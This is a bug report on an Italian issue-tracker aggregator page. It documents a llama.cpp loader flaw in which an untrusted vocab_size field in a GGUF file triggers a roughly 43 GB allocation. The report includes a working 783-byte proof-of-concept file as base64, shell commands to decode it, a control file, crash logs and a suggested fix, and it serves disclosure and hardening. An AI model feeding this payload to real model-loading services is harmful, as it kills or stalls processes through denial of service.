llama-vocab: unbounded id_to_token.resize(n_tokens) from untrusted llama.vocab_size in no_vocab path (783-byte file allocates ~43 GB)
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 66/100
Direzione di ricerca
Inizia in src/llama-vocab.cpp, nella parte del percorso senza vocabolario che legge llama.vocab_size e chiama id_to_token.resize(n_tokens). Riproduci il problema con il file GGUF da 783 byte fornito oppure esamina come viene convalidato il valore dei metadati prima dell’allocazione. Il lavoro è completato quando un numero eccessivo di token fittizi viene rifiutato correttamente e il file di controllo fornito supera ancora la fase del vocabolario.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Name and Version
Loader at commit 2d8d003937b4ad42c1ada09dcdb0236eb3290a8f (b12560); the resize site is byte-identical at current master (checked Nov 20). Reproduced with a minimal loader that calls llama_model_load_from_file directly, the same entry point llama-cli and llama-server use.
Operating systems
Linux
GGML backends
CPU
Hardware
32-core x86-64 host, 62 GB RAM, no GPU. Backend-independent: the allocation happens in llama_vocab load before any backend dispatch.
Models
Not a real model. Fuzzer-generated 783-byte GGUF with zero tensors, tokenizer.ggml.model = none, llama.vocab_size = 1073774080 (u32). Both files are inlined in the description below as base64 with one-command regeneration and sha256s.
Problem description & steps to reproduce
In the no_vocab / none tokenizer path the vocab size is read as a raw u32 from GGUF metadata and passed straight to id_to_token.resize(n_tokens) (src/llama-vocab.cpp:2302-2306 at current master) with no cross-check against the tokens array length, the file size, or any sanity bound:
// read vocab size from metadata
uint32_t n_tokens = 0;
if (ml.get_key(LLM_KV_VOCAB_SIZE, n_tokens, false)) {
LLAMA_LOG_WARN("%s: adding %u dummy tokens\n", __func__, n_tokens);
id_to_token.resize(n_tokens);
}
id_to_token is a std::vector<token_data> with sizeof(token_data) == 40, so a file that sets llama.vocab_size = 1073774080 makes the loader attempt malloc(42950963200), about 43 GB, before any tensor is read.
Impact: any process that loads an untrusted GGUF through llama_model_load_from_file (llama-server, llama-cli, anything built on the library) can be killed or pinned by a 783-byte file. Uncapped, RSS climbs to 41.5 GB over about 3 minutes and the kernel then OOM-kills the process (SIGKILL observed); under an 8 GB address-space limit the allocation throws std::bad_alloc and the load fails cleanly. A restart-looping llama-server fed a hostile "model" file is a straightforward denial of service. I read SECURITY.md as treating DoS case-by-case, so I am filing this as an input-validation bug rather than a security report; it looks like the same hardening family as #26690 (validate GGUF array element types) and #26261/#26690-style untrusted-file validation.
Steps to reproduce:
- Build any tool that calls llama_model_load_from_file (llama-cli -m works).
- Load the attached poc.gguf (783 bytes, sha256 432a9dcda52ae4e443e15b6ef619ff00bdd377036b8d4a982c7508c2157963d2).
- Uncapped: watch RSS climb ~3 min, then kernel OOM-kill. Under ulimit -v 8388608: immediate clean std::bad_alloc (log below).
The file is fuzzer output: the two fields that matter are tokenizer.ggml.model = "none" and llama.vocab_size = 1073774080; the other mutated keys are unknown metadata and are ignored by the loader. The attached ctrl-vocab4.gguf differs in exactly 3 bytes (vocab_size = 4) and passes the vocab stage to fail later at normal tensor checks, which isolates the allocation to this one field.
Suggested fix, cheapest first: reject n_tokens above a sanity maximum in the no_vocab path (the value only sizes dummy tokens; there is no legitimate hundreds-of-millions dummy vocab) with a clean load error; or bound it by something derivable from the file; or cross-check against the tokens array element count when one is present, as #26690 does for element types.
Verification: everything above reproduces from the two attached files and the commands shown, at the commit and master states named.
The two files, inline (binary GGUF, 783 bytes each; paste into a file and decode):
printf '%s' 'R0dVRgMAAAAAAAAAAAAAAA8AAAAAAAAAFAAAAAAAAABnZW5lcmFsLmFyY2hpdGVjdHVyZQgAAAAFAAAAAAAAAGxsYW1hDAAAAAAAAABnZW5lcmFsLm5hbWUIAAAADgAAAAAAAABkZWVwc2Vlay1jb2RlchEAAAAAAAAAbGxhbWEuYmxvY2tfY291bnQEAAAAIAAAABQAAAAAAAAAbGxhbWEuY29udGV4dF9sZW5ndGgEAAAAAEAAABYAAAAAAAAAbGxhbWEuZW1iZWRkaW5nX2xlbmd0aAQAAAAAEAEAGQAAAAAAAABsbGFtYS5mamVlX2ZvcndhcmRfbGVuZ3RoBAAAAAArAAAaAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5oZWFkX2NvdW50BAAAACAAAAAdAAAAAAAAAGxsYW1hLmF0dGVuYW1hLnJvcGUuZnJlcV9iYXNlBgAAAABQw0cmAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5sYXllcl9ub3JtX3Jtc19lcHNpbG9uBgAAAL03fDURAAAAAAAAAGdlbmVyYWwuZmlsZV90eXBlBAAAAAsAAAAQAAAAAAAAAGxsYW1hLnZvY2FiX3NpemUEAAAAAH4AQBoAAAAAAAAAbGxhbWEqcm9wZS5kaW1lbnNpb25fY291bnQEAAAAgAAAABcAAAAAAAAAbGxhbWEucm9wZS5zY2FsaW5nLnR5cGUIAAAABgAAAAAAAABsaW5lYXIZAAAAAAAAAGxsYW1hLnJvcGUuc2NhbGluZy5mYWN0b3IGAAAAAACAQBQAAAAAAAAAdG9rZW5pemVyLmdnbGwubW9kZWwIAAAABAAAAAAAAABub25lZ3B0NBIAAAAAAAAAdG+WZW5pemVyLmdnbWwucHJlCAAAAA4AAAAAAAAAZGVlcHNlZWstY29kZXIVAAAAAAAAAHRva2VuaXpTdDlleGNlcHRpb25lci5nZ21sLnRva2VucwkAAAAAAAAAAMOvAgAAAAAAAADDsAIAAAAAAAAAbGluZQMAAAAAAAAA' | base64 -d > poc.gguf
# sha256 432a9dcda52ae4e443e15b6ef619ff00bdd377036b8d4a982c7508c2157963d2
printf '%s' 'R0dVRgMAAAAAAAAAAAAAAA8AAAAAAAAAFAAAAAAAAABnZW5lcmFsLmFyY2hpdGVjdHVyZQgAAAAFAAAAAAAAAGxsYW1hDAAAAAAAAABnZW5lcmFsLm5hbWUIAAAADgAAAAAAAABkZWVwc2Vlay1jb2RlchEAAAAAAAAAbGxhbWEuYmxvY2tfY291bnQEAAAAIAAAABQAAAAAAAAAbGxhbWEuY29udGV4dF9sZW5ndGgEAAAAAEAAABYAAAAAAAAAbGxhbWEuZW1iZWRkaW5nX2xlbmd0aAQAAAAAEAEAGQAAAAAAAABsbGFtYS5mamVlX2ZvcndhcmRfbGVuZ3RoBAAAAAArAAAaAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5oZWFkX2NvdW50BAAAACAAAAAdAAAAAAAAAGxsYW1hLmF0dGVuYW1hLnJvcGUuZnJlcV9iYXNlBgAAAABQw0cmAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5sYXllcl9ub3JtX3Jtc19lcHNpbG9uBgAAAL03fDURAAAAAAAAAGdlbmVyYWwuZmlsZV90eXBlBAAAAAsAAAAQAAAAAAAAAGxsYW1hLnZvY2FiX3NpemUEAAAABAAAABoAAAAAAAAAbGxhbWEqcm9wZS5kaW1lbnNpb25fY291bnQEAAAAgAAAABcAAAAAAAAAbGxhbWEucm9wZS5zY2FsaW5nLnR5cGUIAAAABgAAAAAAAABsaW5lYXIZAAAAAAAAAGxsYW1hLnJvcGUuc2NhbGluZy5mYWN0b3IGAAAAAACAQBQAAAAAAAAAdG9rZW5pemVyLmdnbGwubW9kZWwIAAAABAAAAAAAAABub25lZ3B0NBIAAAAAAAAAdG+WZW5pemVyLmdnbWwucHJlCAAAAA4AAAAAAAAAZGVlcHNlZWstY29kZXIVAAAAAAAAAHRva2VuaXpTdDlleGNlcHRpb25lci5nZ21sLnRva2VucwkAAAAAAAAAAMOvAgAAAAAAAADDsAIAAAAAAAAAbGluZQMAAAAAAAAA' | base64 -d > ctrl-vocab4.gguf
# sha256 4b3af86d4f4d587c6afaf0426a15542282c20ffc387891f82ec76012f53982eb
R0dVRgMAAAAAAAAAAAAAAA8AAAAAAAAAFAAAAAAAAABnZW5lcmFsLmFyY2hpdGVjdHVyZQgAAAAFAAAAAAAAAGxsYW1hDAAAAAAAAABnZW5lcmFsLm5hbWUIAAAADgAAAAAAAABkZWVwc2Vlay1jb2RlchEAAAAAAAAAbGxhbWEuYmxvY2tfY291bnQEAAAAIAAAABQAAAAAAAAAbGxhbWEuY29udGV4dF9sZW5ndGgEAAAAAEAAABYAAAAAAAAAbGxhbWEuZW1iZWRkaW5nX2xlbmd0aAQAAAAAEAEAGQAAAAAAAABsbGFtYS5mamVlX2ZvcndhcmRfbGVuZ3RoBAAAAAArAAAaAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5oZWFkX2NvdW50BAAAACAAAAAdAAAAAAAAAGxsYW1hLmF0dGVuYW1hLnJvcGUuZnJlcV9iYXNlBgAAAABQw0cmAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5sYXllcl9ub3JtX3Jtc19lcHNpbG9uBgAAAL03fDURAAAAAAAAAGdlbmVyYWwuZmlsZV90eXBlBAAAAAsAAAAQAAAAAAAAAGxsYW1hLnZvY2FiX3NpemUEAAAAAH4AQBoAAAAAAAAAbGxhbWEqcm9wZS5kaW1lbnNpb25fY291bnQEAAAAgAAAABcAAAAAAAAAbGxhbWEucm9wZS5zY2FsaW5nLnR5cGUIAAAABgAAAAAAAABsaW5lYXIZAAAAAAAAAGxsYW1hLnJvcGUuc2NhbGluZy5mYWN0b3IGAAAAAACAQBQAAAAAAAAAdG9rZW5pemVyLmdnbGwubW9kZWwIAAAABAAAAAAAAABub25lZ3B0NBIAAAAAAAAAdG+WZW5pemVyLmdnbWwucHJlCAAAAA4AAAAAAAAAZGVlcHNlZWstY29kZXIVAAAAAAAAAHRva2VuaXpTdDlleGNlcHRpb25lci5nZ21sLnRva2VucwkAAAAAAAAAAMOvAgAAAAAAAADDsAIAAAAAAAAAbGluZQMAAAAAAAAA
R0dVRgMAAAAAAAAAAAAAAA8AAAAAAAAAFAAAAAAAAABnZW5lcmFsLmFyY2hpdGVjdHVyZQgAAAAFAAAAAAAAAGxsYW1hDAAAAAAAAABnZW5lcmFsLm5hbWUIAAAADgAAAAAAAABkZWVwc2Vlay1jb2RlchEAAAAAAAAAbGxhbWEuYmxvY2tfY291bnQEAAAAIAAAABQAAAAAAAAAbGxhbWEuY29udGV4dF9sZW5ndGgEAAAAAEAAABYAAAAAAAAAbGxhbWEuZW1iZWRkaW5nX2xlbmd0aAQAAAAAEAEAGQAAAAAAAABsbGFtYS5mamVlX2ZvcndhcmRfbGVuZ3RoBAAAAAArAAAaAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5oZWFkX2NvdW50BAAAACAAAAAdAAAAAAAAAGxsYW1hLmF0dGVuYW1hLnJvcGUuZnJlcV9iYXNlBgAAAABQw0cmAAAAAAAAAGxsYW1hLmF0dGVudGlvbi5sYXllcl9ub3JtX3Jtc19lcHNpbG9uBgAAAL03fDURAAAAAAAAAGdlbmVyYWwuZmlsZV90eXBlBAAAAAsAAAAQAAAAAAAAAGxsYW1hLnZvY2FiX3NpemUEAAAABAAAABoAAAAAAAAAbGxhbWEqcm9wZS5kaW1lbnNpb25fY291bnQEAAAAgAAAABcAAAAAAAAAbGxhbWEucm9wZS5zY2FsaW5nLnR5cGUIAAAABgAAAAAAAABsaW5lYXIZAAAAAAAAAGxsYW1hLnJvcGUuc2NhbGluZy5mYWN0b3IGAAAAAACAQBQAAAAAAAAAdG9rZW5pemVyLmdnbGwubW9kZWwIAAAABAAAAAAAAABub25lZ3B0NBIAAAAAAAAAdG+WZW5pemVyLmdnbWwucHJlCAAAAA4AAAAAAAAAZGVlcHNlZWstY29kZXIVAAAAAAAAAHRva2VuaXpTdDlleGNlcHRpb25lci5nZ21sLnRva2VucwkAAAAAAAAAAMOvAgAAAAAAAADDsAIAAAAAAAAAbGluZQMAAAAAAAAA
ctrl-vocab4.gguf is poc.gguf with the 4 bytes at offset 465 changed from 00 7e 00 40 to 04 00 00 00; every other byte is identical.
First Bad Commit
#11231 added the dummy-token path for no_vocab (Jan 2025); the resize has been unbounded since introduction, not a regression.
Relevant log output
Uncapped run (62 GB host), production entry llama_model_load_from_file:
load: adding 1073774080 dummy tokens
(RSS climbs for ~3 minutes, then)
kernel: Out of memory: Killed process (SIGKILL)
Same file under ulimit -v 8388608:
load: adding 1073774080 dummy tokens
llama_model_load: error loading model: error loading model vocabulary: std::bad_alloc
llama_model_load_from_file_impl: failed to load model
Control (ctrl-vocab4.gguf, vocab_size = 4, 3 bytes differ):
load_tensors: layer 32 assigned to device CPU, is_swa = 0
create_tensor: loading tensor token_embd.weight
llama_model_load: error loading model: check_tensor_dims: tensor 'token_embd.weight' not found
- Lingua principale
- C++
- Stelle
- 136k
- Fork
- 25.7k
- Merge medio
- 2g 1h
- PR unite (30g)
- 524
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di ggml-org/llama.cpp
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 77/100
I maintainer di solito rispondono entro 1 giorno
-
Misc. bug: Hexagon: test-backend-ops POOL_2D fails for 128-wide kernels with padding on HTP0 (v73)Apertabug-unconfirmed
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
ggml-org/llama.cpp#32598 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Llama chat webui. bug: scrollbar disappears when the mouse hovers near the top of the code blockForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertabug-unconfirmed
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
ggml-org/llama.cpp#32465 · 1 commento · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
Eval bug: deepseek4 file with no ratio-4 (CSA) layer crashes with integer division by zero in the llama_kv_cache constructorForse già presa @rishitha2625 l’ha presa 3 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
ggml-org/llama.cpp#32424 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 67/100
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di ggml-org/llama.cpp
Issue simili
-
[UBSan] spawn_simulator passes null child_options.args to uv_spawn (execvp nonnull violation)Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 79/100
tenstorrent/tt-umd#4017 ·
I maintainer di solito rispondono entro 3 giorni
-
difficulty:easy func:gui prio:low type:bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
NatronGitHub/Natron#1538 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
hyprwm/hyprsunset#103 · 1 commento ·
-
Feature request
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
qbittorrent/qBittorrent#25338 ·
I maintainer di solito rispondono entro 2 giorni
-
Needs: Attention Needs: Version Info Platform: Android Platform: tvOS
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
react/react-native#60180 · 3 commenti ·
I maintainer di solito rispondono entro 2 giorni